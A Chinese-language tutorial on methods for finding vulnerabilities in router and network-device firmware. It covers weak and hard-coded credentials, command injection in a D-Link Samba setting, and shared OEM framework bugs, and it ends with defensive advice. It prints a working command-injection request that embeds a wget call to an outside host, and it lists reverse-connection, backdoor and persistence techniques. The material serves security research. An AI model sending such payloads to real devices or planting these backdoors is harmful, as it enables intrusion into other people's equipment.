设备漏洞挖掘思路
字数 1330 2025-08-25 22:59:20
设备漏洞挖掘思路详解
1. 信息收集阶段
1.1 弱口令挖掘
-
搜索途径:
- 网上用户指导手册中可能包含默认凭证
- CNVD/CVE平台查找已知弱口令设备
- 使用FOFA/Hunter等搜索引擎定位未修复弱口令的设备
-
优势:
- 获取后台访问权限后可测试更多功能点
- 后台通常包含更多潜在漏洞的功能模块
1.2 硬编码问题挖掘
-
常见表现形式:
- 设备开启telnet/ssh服务
- 初始化脚本中包含硬编码凭证
- 开发者调试留下的隐藏后门
-
案例分析(WayOS微盟路由器):
- 固件仿真执行发现telnet服务
- 分析初始化文件确认服务启动
- 定位关键文件
mqtt_ai - 分析
mqtt_ai_sw_telnet_login函数 - 发现硬编码凭证实现telnet登录
-
SSH密码获取方法:
- 检查
/etc/shadow文件 - 尝试解密存储的密码哈希
- 检查
2. 组件及OEM框架漏洞挖掘
2.1 组件漏洞挖掘
-
典型漏洞类型:
- USB共享存储组件命令执行
- Samba服务器配置漏洞
-
案例分析(D-Link路由器):
- 发现与微盟路由器相似功能
- 解压固件查找漏洞路径字符串
- 使用Ghidra分析固件:
- 过滤
system函数调用 - 交叉引用分析可控数据流
- 过滤
- 发现Samba用户名设置漏洞:
usb_username和use_husername未过滤- 直接拼接进
system()执行
- 构造PoC验证命令注入:
GET /usb_paswd.asp?share_enable=1&passwd=123456&name=login&hpasswd=123456&hname=hlogin%60wget%20http%3A%2F%2F192.168.1.2%3A8000%60&acc_ip=&acc_mac=&acc_wan=0&acc_auth=0&send_email_en=0&send_email_name=0&send_email_pwd=0&device_name=&_=1663771596225 HTTP/1.1
2.2 OEM框架漏洞挖掘
-
识别方法:
- 通过CVE/CNVD查找相似设备漏洞
- 分析JS等静态文件识别相同OEM框架
- 对比不同设备的引用文件结构
-
案例分析(迈普与飞鱼星):
- 发现两者使用相同OEM框架
- 飞鱼星的权限绕过漏洞在迈普设备同样存在
- 通过飞鱼星漏洞反溯迈普设备漏洞
3. 漏洞挖掘技术细节
3.1 固件分析方法
-
固件解包:
- 使用binwalk等工具解压固件包
- 提取文件系统进行分析
-
静态分析:
- 使用Ghidra/IDA进行反编译
- 关键函数分析(如
system、exec等危险函数) - 字符串搜索定位关键功能
-
动态分析:
- 固件仿真执行(使用QEMU等工具)
- 监控进程和服务启动情况
3.2 常见漏洞模式
-
命令注入:
- 用户输入未过滤直接拼接进系统命令
- 常见于配置保存、诊断测试等功能
-
硬编码凭证:
- 固件中包含固定用户名/密码
- 后门账户用于调试或维护
-
权限绕过:
- 未正确验证用户权限
- 直接访问后台API接口
-
敏感信息泄露:
- 配置文件包含敏感数据
- 调试接口暴露系统信息
4. 漏洞验证与利用
4.1 验证方法
-
本地验证:
- 搭建仿真环境测试漏洞
- 使用调试工具监控执行流程
-
远程验证:
- 构造特殊HTTP请求
- 观察系统响应和外部连接
4.2 利用技巧
-
命令注入利用:
- 使用反引号或分号注入命令
- 通过wget/curl建立反向连接
-
权限提升:
- 利用配置错误获取root权限
- 修改系统文件植入后门
-
持久化:
- 修改启动脚本
- 植入定时任务
5. 防御建议
-
对厂商:
- 避免硬编码凭证
- 严格过滤用户输入
- 最小化开放服务端口
-
对用户:
- 及时更新固件
- 修改默认凭证
- 关闭不必要的服务
-
对研究人员:
- 负责任的漏洞披露
- 提供详细复现步骤
- 协助厂商修复漏洞